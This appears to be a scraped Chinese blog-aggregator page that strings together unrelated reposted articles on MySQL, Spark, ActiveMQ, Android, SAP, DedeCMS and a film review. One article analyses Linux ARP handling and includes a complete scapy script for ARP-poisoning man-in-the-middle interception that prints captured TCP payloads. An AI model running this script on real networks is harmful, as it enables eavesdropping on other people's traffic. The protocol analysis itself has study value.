privileges on . to 'user'@'%' with grant option;flush privileges;select user,host from mysql.user; service mysql stop 停止服务\q回到命令行vi /etc/ld.so.confldconfig 搜索出可共享的动态链接库(格式如lib.so),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为/etc/ld.so.cacheln -s /var/ldconfiglib/mysql/run/mysql.sock /tmp/mysql.sock 建立软连接 service 和 chkconfig 都可以用 systemctl 来代替 遇到 Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2) service mysql stop // 先停用ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock // 建立软连接vi /etc/my.cnf // 修改里面的 socket 路径service mysql start // 重启 Linux chmod 命令 Linux文件的所有者、群组和其他人 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_53318060/article/details/121664128。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-24 19:00:46
119
转载
Spark
...我们在物联网设备之间实现高效的数据同步与协调。哎呀,这可是我头一回仔细琢磨这个话题,心里那个激动啊,还带着点小紧张,就跟要上台表演似的。话说回来,Spark这个大数据处理工具,在对付海量数据时确实有一手。不过,说到像物联网设备这种分布广、要求快速响应的情况,事情就没那么简单了。那么,Spark到底能不能胜任这项任务呢?让我们一起探索一下吧! 2. Spark基础介绍 2.1 Spark是什么? Spark是一种开源的大数据分析引擎,它能够快速处理大量数据。它的核心是一个叫RDD的东西,其实就是个能在集群里到处跑的数据集,可以让你轻松地并行处理任务。Spark还提供了多种高级API,包括DataFrame和Dataset,它们可以简化数据处理流程。 2.2 为什么选择Spark? 简单来说,Spark之所以能成为我们的首选,是因为它具备以下优势: - 速度快:Spark利用内存计算来加速数据处理。 - 易于使用:提供了多种高级API,让开发变得更加直观。 - 灵活:支持批处理、流处理、机器学习等多种数据处理模式。 2.3 实战代码示例 假设我们有一个简单的数据集,存储在HDFS上,我们想用Spark读取并处理这些数据。下面是一个简单的Scala代码示例: scala // 导入Spark相关包 import org.apache.spark.sql.SparkSession // 创建SparkSession val spark = SparkSession.builder() .appName("IoT Data Sync") .getOrCreate() // 读取数据 val dataDF = spark.read.format("csv").option("header", "true").load("hdfs://path/to/iot_data.csv") // 显示前5行数据 dataDF.show(5) // 关闭SparkSession spark.stop() 3. 物联网设备数据同步与协调挑战 3.1 数据量大 物联网设备产生的数据量通常是海量的,而且这些数据往往需要实时处理。你可以想象一下,如果有成千上万的传感器在不停地吐数据,那得有多少数字在那儿疯跑啊!简直像海里的沙子一样多。 3.2 实时性要求高 物联网设备的数据往往需要实时处理。比如,在一个智能工厂里,如果传感器没能及时把数据传给中央系统做分析,那可能就会出大事儿,比如生产线罢工或者隐藏的安全隐患突然冒出来。 3.3 设备多样性 物联网设备种类繁多,不同设备可能采用不同的通信协议。这就意味着我们需要一个统一的方式来处理这些异构的数据源。 3.4 网络条件不稳定 物联网设备通常部署在各种环境中,网络条件往往不稳定。这就意味着我们需要的方案得有点抗压能力,在网络不给力的时候还能稳稳地干活。 4. 如何用Spark解决这些问题 4.1 使用Spark Streaming Spark Streaming 是Spark的一个扩展模块,专门用于处理实时数据流。它支持多种数据源,包括Kafka、Flume、TCP sockets等。下面是一个使用Spark Streaming从Kafka接收数据的例子: scala // 创建SparkStreamingContext val ssc = new StreamingContext(spark.sparkContext, Seconds(5)) // 创建Kafka流 val kafkaStream = KafkaUtils.createDirectStream[String, String]( ssc, PreferConsistent, Subscribe[String, String](topicsSet, kafkaParams) ) // 处理接收到的数据 kafkaStream.foreachRDD { rdd => val df = spark.read.json(rdd.map(_.value())) // 进一步处理数据... } // 开始处理流数据 ssc.start() ssc.awaitTermination() 4.2 利用DataFrame API简化数据处理 Spark的DataFrame API提供了一种结构化的方式来处理数据,使得我们可以更容易地编写复杂的查询。下面是一个使用DataFrame API处理数据的例子: scala // 假设我们已经有了一个DataFrame df import spark.implicits._ // 添加一个新的列 val enrichedDF = df.withColumn("timestamp", current_timestamp()) // 保存处理后的数据 enrichedDF.write.mode("append").json("hdfs://path/to/enriched_data") 4.3 弹性分布式数据集(RDD)的优势 Spark的核心概念之一就是RDD。RDD是一种不可变的、分区的数据集合,支持并行操作。这对于处理物联网设备产生的数据特别有用。下面是一个使用RDD的例子: scala // 创建一个简单的RDD val dataRDD = spark.sparkContext.parallelize(Seq(1, 2, 3, 4, 5)) // 对RDD进行映射操作 val mappedRDD = dataRDD.map(x => x 2) // 收集结果 val result = mappedRDD.collect() println(result.mkString(", ")) 4.4 容错机制 Spark的容错机制是其一大亮点。它通过RDD的血统信息(即RDD的操作历史)来重新计算丢失的数据。这就让Spark在处理像物联网设备这样的网络环境不稳定的情况时特别给力。 5. 结论 通过上述讨论,我们可以看到Spark确实是一个强大的工具,可以帮助我们有效地处理物联网设备产生的海量数据。虽说在实际操作中可能会碰到些难题,但只要我们好好设计和优化一下,Spark绝对能搞定这个活儿。希望这篇文章对你有所帮助,也欢迎你在实践中继续探索和分享你的经验!
2025-01-06 16:12:37
72
灵动之光
转载文章
...转载内容。原文链接:https://blog.csdn.net/weixin_30240349/article/details/98266532。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 昨天看了这部片子,感觉一般,但还是一部可看的片子,不闷。 女杀手失忆之前挺酷的,之后感觉太柔弱了。 三个男主角都不错,不过方中信的形象应该更强悍一些才好,而千叶真一象极了邻居家的老大伯。 《孙子兵法》第六计 虚实计 …… 攻而必取者,攻其所不守也。 守而必固者,守其所必攻也。 故善攻者,敌不知其所守; 善守者,敌不知其所攻。 …… 进而不可御者,冲其虚也; 退而不可追者,速而不可及也。 故我欲战,敌虽高垒深沟,不得不与我战者,攻其所必救也; 我不欲战,虽画地而守之,敌不得与我战者,乖其所之也。 故形人而我无形,则我专而敌分。 …… 附录: 中文名称:第六计 英文名称:Explosive City 资源类型:DVDScr 发行时间:2004年11月04日 电影导演:梁德森 电影演员: 任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 地区:香港 语言:普通话 简介: 转自TLF论坛 片名:Explosive City 译名:第六计(又名爆裂都市) 导演:梁德森 主演:任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 时间:90分钟 类型:动作 上映日期:2004-11-4 官方网站:http://www.bakuretsu.jp/ 语言:国语 字幕:外挂中/英 剧情: (转自世纪环球在线) 某国际机场,来参加国际会议的邻埠高级官员容大刚正在与众多记者畅谈参会感 想,突然,一个神情冷漠的美貌女子从人群中闪出,只见她拔出手枪,对准容大刚连 开三枪,场内一片大乱。 机场刺杀案引起了警方极大的震惊,派来高级警务人员姚天明(方中信饰)协助 特警队张志诚(任达华饰)警司侦破此案。经过排查,行刺者是某国际恐怖组织的成员, 名叫北条真理(白田久子饰)。材料显示:北条真理生于日本的一个幸福的家庭,三 岁时被某国际恐怖组织首领“奥多桑”(千叶真一饰)看中,把她掳走,通过洗脑、 训练,使她成为恐怖组织的高级杀手。这次行动,她以记者身份潜入机场,射伤了目 标,自己也因此受伤被俘。 就在警方全力破案的同时,某国际恐怖组织的首领“奥多桑”带领部下悄悄潜入 该城,显然,他对上一次行的刺杀行动很不满意,准备亲自上阵了。在他的指挥下, 恐怖分子残忍的杀死了姚天明的太太,并绑架了他的儿子,借此要挟姚天明杀死北条 真理,姚天明在万般无奈中,执行了“奥多桑”的命令,“击毙”、劫持了北条真理, 一步步走进“奥多桑”精心设下的圈套,并因此被警方通缉。 姚天明一边躲避着警方的追捕,一边苦苦寻找“奥多桑”的足迹,寻机解救被绑 架的儿子;幸免于难的北条真理与姚天明从对立变成唇齿相依;在追击中渐渐恢复了 记忆,认出了“奥多桑”安插在警务队伍中的亲信——张志诚警司;令他们百思不得 其解的是,张警司本身就是负责保护容大刚的警卫人员,由他执行刺杀活动,不是更 稳妥吗?为什麼还要派遣北条真理进行明目张胆的刺杀活动?随着事态的发展,无意 中,姚天明在“奥多桑”钟爱的《孙子兵法》一书中发现了更大的秘密——可怕的第 六计…… 转载于:https://www.cnblogs.com/Silence/archive/2004/11/08/61332.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30240349/article/details/98266532。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-10 09:20:27
618
转载
Mongo
...序的Promise化API,使得开发者能够以更简洁、直观的方式编写异步数据库操作代码。 另外,在实际生产环境中,如何有效利用MongoDB的异步优势进行大规模并发数据处理并确保数据一致性是一大挑战。分布式事务ACID(Atomicity, Consistency, Isolation, Durability)特性的引入以及MongoDB Stitch服务(现已整合进Atlas Serverless)为解决这一问题提供了新的思路。通过集成流式传输框架如Change Streams,开发人员可以构建实时响应的数据处理系统,并保持高可用性和扩展性。 同时,随着云原生架构的普及,MongoDB Atlas作为全球分布式的托管型数据库服务,以其内置的自动分片、备份恢复、监控告警等功能,助力企业无缝迁移至云端,实现弹性伸缩与按需付费,进一步优化资源利用率和降低成本。 综上所述,持续跟踪MongoDB的最新动态和技术演进,结合具体业务场景合理运用其异步特性,有助于提升应用程序性能,应对日益增长的数据处理需求。推荐读者关注MongoDB官方博客、文档更新及行业技术论坛,深入探讨更多关于数据库异步操作的实战经验和最佳实践案例。
2024-03-10 10:44:19
167
林中小径_
ActiveMQ
...待时间过长,甚至出现服务不可用的情况。因此,了解并掌握如何监控这些性能指标是非常必要的。 2. 消息堆积与延迟 它们是什么? 首先,让我们来了解一下消息堆积和延迟这两个概念。 - 消息堆积:指的是消息从生产者发送到消费者接收之间的时间差变大,导致队列中的消息数量不断增加。这种情况通常发生在消费者的处理能力不足以应对生产者的发送速率时。 - 延迟:是指消息从生产者发送到消费者接收到这条消息之间的总时间。延迟包括了网络传输时间、处理时间和队列等待时间等。 想象一下,如果你正在等公交车,而公交车却迟迟不来(消息堆积),或者虽然来了但你需要等很长时间才能上车(延迟),这肯定会让你感到沮丧。这就跟分布式系统里的事儿一样,要是消费者手慢点,消息堆积起来,整个系统就得遭殃,性能直线下降。 3. 如何监控消费者性能? 现在我们知道了消息堆积和延迟的重要性,那么接下来的问题就是:如何有效地监控它们呢? 3.1 使用JMX监控 ActiveMQ提供了Java Management Extensions (JMX) 接口,允许我们通过编程方式访问和管理其内部状态。这里有一个简单的例子,展示如何使用JMX来获取当前队列中的消息堆积情况: java import javax.management.MBeanServer; import javax.management.ObjectName; import java.lang.management.ManagementFactory; public class ActiveMQMonitor { public static void main(String[] args) throws Exception { MBeanServer mbs = ManagementFactory.getPlatformMBeanServer(); ObjectName name = new ObjectName("org.apache.activemq:type=Broker,brokerName=localhost"); // 获取队列名称 String queueName = "YourQueueName"; ObjectName queueNameObj = new ObjectName("org.apache.activemq:type=Queue,destinationName=" + queueName); // 获取消息堆积数 Integer messageCount = (Integer) mbs.getAttribute(queueNameObj, "EnqueueCount"); System.out.println("Current Enqueue Count for Queue: " + queueName + " is " + messageCount); } } 3.2 日志分析 除了直接通过API访问数据外,我们还可以通过分析ActiveMQ的日志文件来间接监控消费者性能。比如说,我们可以通过翻看日志里的那些报错和警告信息,揪出隐藏的问题,然后赶紧采取行动来优化一下。 4. 优化策略 既然我们已经掌握了如何监控消费者性能,那么接下来就需要考虑如何优化它了。下面是一些常见的优化策略: - 增加消费者数量:当发现消息堆积时,可以考虑增加更多的消费者来分担工作量。 - 优化消费者逻辑:检查消费者处理消息的逻辑,确保没有不必要的计算或等待,尽可能提高处理效率。 - 调整消息持久化策略:根据业务需求选择合适的消息持久化级别,既保证数据安全又不过度消耗资源。 5. 结语 持续改进 监控消费者性能是一个持续的过程。随着系统的不断演进,新的挑战也会随之而来。因此,我们需要保持灵活性,随时准备调整我们的监控策略和技术手段。希望这篇文章能给你带来一些启示,让你在面对类似问题时更加从容不迫! --- 好了,以上就是我对于“监控消费者性能:消息堆积与延迟分析”的全部分享。希望能给你一些启发,让你的项目变得更高效、更稳当!要是你有任何问题或者想深入了解啥的,尽管留言,咱们一起聊一聊。
2024-10-30 15:36:10
82
山涧溪流
Groovy
近年来,随着云计算和微服务架构的普及,Groovy因其简洁的语法和强大的生态系统,在企业级开发领域重新获得了关注。特别是在DevOps文化盛行的背景下,Groovy作为一种既能快速开发又能与现有Java生态无缝集成的语言,成为许多团队构建CI/CD流水线和自动化工具的首选。例如,Jenkins这一广受欢迎的持续集成平台,其核心脚本语言就是Groovy。最近,Jenkins社区发布了2.361版本,其中引入了新的DSL(领域特定语言)特性,进一步增强了Groovy在构建复杂工作流中的能力。 与此同时,Groovy在数据科学领域的应用也引起了广泛关注。Apache Groovy提供了丰富的库支持,如Grape(依赖管理器)和Spock框架,使得数据科学家能够以更少的代码完成复杂的分析任务。近期,有研究表明,结合Groovy与Kotlin进行混合编程,可以显著提高大数据处理效率。这种跨语言协作模式正在成为现代软件开发的新趋势。 此外,Groovy的动态特性使其非常适合用于快速原型设计。近期,一家知名金融科技公司利用Groovy开发了一款面向中小企业的贷款评估系统,仅用两周时间就完成了从需求分析到上线部署的全过程。该项目的成功不仅展示了Groovy在敏捷开发中的潜力,也为其他类似场景提供了宝贵经验。 值得注意的是,尽管Groovy拥有诸多优势,但它并非没有挑战。随着GraalVM等新技术的发展,传统脚本语言面临新的竞争压力。如何保持自身竞争力并吸引更多年轻开发者,将是未来几年Groovy社区需要重点思考的问题。
2025-03-15 15:57:01
101
林中小径
转载文章
...转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
560
转载
转载文章
...转载内容。原文链接:https://blog.csdn.net/yywan1314520/article/details/51953172。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1. 最近看的代码中经常看见this,在java中的this第一反应就是当前对象,可以用来引用变量或是方法,一看就很懵B,所以这里通过例子来详细讲下this的用法。 2.例如下面代码 button.setOnClickListener(new OnClickListener() {@Overridepublic void onClick(View v) {Toast.makeText(TextC.this,"什么情况",1000).show();} 通俗讲,this就是指本类,但在上面Toast中直接写this会出错,因为当前本类是OnClickListener类,而不是我们的主类,如activity(或是mainActivity等),而this就是指向当前类OnClickListener。 3.再如:MainActivity中setOnClickListener(this)中的this指代什么? setOnClickListener的参数要求是一个实现了OnClickListener接口的对象实体,它可以是任何类的实例,只要该类实现了OnClickListener。这个问题中,this它就是MainActivity这个对象自己且用this实现了OnClickListener。 4.MainActivity.this是什么意思? 表示的就是MainActivity这个类对象本来,这种写法一般用在内部类里,因为在外部类中直接可以用关键字this表示本类,而内部类中直接写this的话表示的是内部类本身,想表示外部类的话就得加上外部类的类名.this。 5.在android中this使用的小结: this代表本类的一个引用,this.表示调用本类的某个方法,这个时候通常可以省略this;但在内部类中不能省略,否则编译器会认为是内部类的引用,所以要在this前加上类名. .this 表示本类的引用,通常前面的是用本类的名字表示,当然也可以省略,但是如果是在内部类中一定要加上类名,同时注意:this和static不能共存,就是在static修饰的方法中不能用this. 6.android context是什么 ?从SDK中可以知道 Interface to global information about an application environment. This is an abstract class whose implementation is provided by the Android system. It allows access to application-specific resources and classes, as well as up-cal for application-level operations such as launching activities, broadcasting and receiving intents, etc 从上的描述可以知道context和一下三点作用: 它描述的是一个应用程序的环境,即上下文 它类是一个抽象的类,android提供了一个具体的通用实现类contextIml类。 它就像是一个大管家,是一个访问全局信息的接口。通过它我们可以获取应用程度 的资源的类,包括一些应用级的操作,如启动一个activity,发送广播,接受Intent信息。 7.context家族的关系 8.android context源码简析 8.1Context.java:抽象类,提供了一组通用的API public abstract class Context { ... public abstract Object getSystemService(String name); //获得系统级服务 public abstract void startActivity(Intent intent); //通过一个Intent启动Activity public abstract ComponentName startService(Intent service); //启动Service //根据文件名得到SharedPreferences对象 public abstract SharedPreferences getSharedPreferences(String name,int mode); ... } 8.2 Contextlml.java:Context和实现类,但函数的大部分功能都是直接调用其属性的mPackageInfo去完成 / Common implementation of Context API, which provides the base context object for Activity and other application components. / class ContextImpl extends Context{ //所有Application程序公用一个mPackageInfo对象 /package/ ActivityThread.PackageInfo mPackageInfo; @Override public Object getSystemService(String name){ ... else if (ACTIVITY_SERVICE.equals(name)) { return getActivityManager(); } else if (INPUT_METHOD_SERVICE.equals(name)) { return InputMethodManager.getInstance(this); } } @Override public void startActivity(Intent intent) { ... //开始启动一个Activity mMainThread.getInstrumentation().execStartActivity( getOuterContext(), mMainThread.getApplicationThread(), null, null, intent, -1); } } 8.3 ContextWrapper.java:该类只是对Context类的一种包装,该类的构造函数包含了一个真正的Context引用,即ContextIml对象。 public class ContextWrapper extends Context { Context mBase; //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 //创建Application、Service、Activity,会调用该方法给mBase属性赋值 protected void attachBaseContext(Context base) { if (mBase != null) { throw new IllegalStateException("Base context already set"); } mBase = base; } @Override public void startActivity(Intent intent) { mBase.startActivity(intent); //调用mBase实例方法 } } 8.4ContextThemeWrapper.java:该类内部包含了主题(Theme)相关的接口,即android:theme属性指定的。只有Activity需要主题,Service不需要主题,所以Service直接继承于ContextWrapper类。 public class ContextThemeWrapper extends ContextWrapper { //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 private Context mBase; //mBase赋值方式同样有一下两种 public ContextThemeWrapper(Context base, int themeres) { super(base); mBase = base; mThemeResource = themeres; } @Override protected void attachBaseContext(Context newBase) { super.attachBaseContext(newBase); mBase = newBase; } } 9.Activity类 、Service类 、Application类本质上都是Context子类,所以应用程序App共有的Context数目公式为: 总Context实例个数 = Service个数 + Activity个数 + 1(Application对应的Context实例) 10.AR/VR研究的朋友可以加入下面的群或是关注下面的微信公众号 本篇文章为转载内容。原文链接:https://blog.csdn.net/yywan1314520/article/details/51953172。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-27 17:37:26
93
转载
转载文章
...转载内容。原文链接:https://blog.csdn.net/senlinmu110/article/details/122086258。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 在前期的推文《SAP软件付款条件的配置及应用介绍》中详细介绍了付款条件的配置及应用,那篇文章中提到了分期付款,但没有展开详细的介绍说明,今天在此文中补充上。 我们知道付款条件配置好后,在做发票凭证时候可以输入付款条件,但是那个付款条件的字段只能输入一个值(如下图) 那么如果遇到一笔款项要分多期支付,并且每一期对应的付款条件不同,比如公司要支付供应商10000元,但和供应商商定可以分三期支付,一期支付20%,对应的付款条件为Z001,二期支付30%,对应的付款条款为Z002,三期支付剩余50%,对应的付款条件为Z003。 SAP如何处理上面这样的业务场景? SAP软件发票凭证录入界面的付款条件字段只能输入一个付款条件代码,我们可以想象下系统要处理这样的分期付款,那么这个付款条件代码就必须能关联到三个不同的付款条件,即它要包含三个具体的付款条件,SAP软件也就是基于这样逻辑设计的,所以对于分期付款的付款条件可以把它看做是一个付款条件组,它包含了三个具体的付款条款(如下图)。 详细信息直接访问下面链接吧,懒得一点点粘贴了 https://mp.weixin.qq.com/s/WnUEKH5TpoQjsFM66E1Yxg 推荐阅读: 《DEMO:接口以XML为入参》 《DEMO:接口以Json为入参》 《Odata 增删改查详例》 《ODATA CREATE_DEEP_ENTITY 详例》 《RESTful DEMO 一:SAP 如何提供 RESTful Web 服务》 《RESTful DEMO 四 :增删改查及调用》 《十年老码农搬砖习惯和技巧》 《我这个老码农是怎么debug标准程序的》 《我是怎样调试BAPI的,以F-02为例》 《动态批量修改任意表任意字段的值》 《动态获取查询条件的一个小Demo》 《使用cl_gui_docking_container 实现多ALV》 《VOFM 修改 组单开票时 会计凭拆分规则》 《DEMO SUBMIT 某程序并获取该程序ALV数据》 《DEMO:S/4 1809 FAGLL03H 增加字段增强》 《几个ABAP实用模板,体力活就别一行行敲了,复制粘贴得了》 《DEMO:BTE增强实现凭证创建检查》 《SAP Parallel Accounting(平行分类账业务)配置+操作手册+BAPI demo程序》 《CC02修改确认日期BAPI:Processing of change number was canceled》 《我是怎样调试BAPI的,以F-02为例》 《女儿的部分书单》 《推荐几本小说吧,反正过年闲着也是闲着,看看呗》 《我是不是被代码给耽误了……不幸沦为一名程序员……》 《三亚自由行攻略(自己穷游总结)》 《苏州游记》 《杂谈:说走就走的旅行没那么难》 《溜达:无锡》 《记码农十周年(20110214--20210214)》 《不一样的SAP干货铺群:帅哥靓妹、红包、烤羊腿!》 《杂谈:几种接口》 《干货来袭:2020年公众号内容汇总》 《DEMO search help 增强 ( vl03n KO03 等)》 《录BDC时 弹出的公司代码框问题》 《动态获取查询条件的一个小Demo》 《动态批量修改任意表任意字段的值》 WDA Demo WDA DEMO 0:开启服务 设置hosts WDA DEMO 02: 简单介绍 WDA DEMO 03: 根据选择条件查询并显示 WDA DEMO 04: select options 查询并显示 WDA DEMO 05:两个table联动展示数据 WDA DEMO 06: 创建事务代码 WDA DEMO 07 页面跳转及全局变量的使用 WDA DEMO 08 全局变量方式二 WDA DEMO 09 ALV 简单展示 WDA DEMO 1:简单查询并显示结果 WDA DEMO 10 代码模块化整理 WDA DEMO 11 根据BAPI/Function创建WDA Debug 系列 DEBUG 系列一:Dump debug DEBUG 系列二:Configure Debugger Layer DEBUG系列三:使用 F9 和 watch point DEBUG系列四:第三方接口debug DEBUG系列五:Update 模式下的function debug DEBUG系列六:后台JOB debug DEBUG系列七:保存测试参数 DEBUG系列八:Debug弹出框 debug系列九:SM13查看update更新报错 DEBUG系列十:Smartforms debug DEBUG系列十一:GGB1 debug Debug系列十二:QRFC 队列 debug 本篇文章为转载内容。原文链接:https://blog.csdn.net/senlinmu110/article/details/122086258。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-12 21:25:44
141
转载
转载文章
...转载内容。原文链接:https://blog.csdn.net/weixin_31879641/article/details/115616068。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 织梦dedecms是集简单、健壮、灵活、开源几大特点的开源内容管理系统,是国内开源CMS的领先品牌,目前程序安装量已达七十万,超过六成的站点正在使用织梦CMS或基于织梦CMS核心开发。 织梦Dede CMS功能特点: 良好的用户口碑,丰富的开源经验 灵活的模块组合,让网站更丰富 简单易用的模板引擎,网站界面想换就换 便捷自定义模型 高效的动态静态页面部署 流畅专业界面设计,良好的用户体验 指纹验证,升级无忧 低维护成本 国际语言支持 会员互动,让您的网站火起来 DedeCMS 产品使用说明 一、平台需求 1.Windows 平台: IIS/Apache/Nginx + PHP4/PHP5.2+/PHP5.3+ + MySQL4/5 如果在windows环境中使用,建议用DedeCMS提供的DedeAMPZ套件以达到最佳使用性能。 2.Linux/Unix 平台 Apache + PHP4/PHP5 + MySQL3/4/5 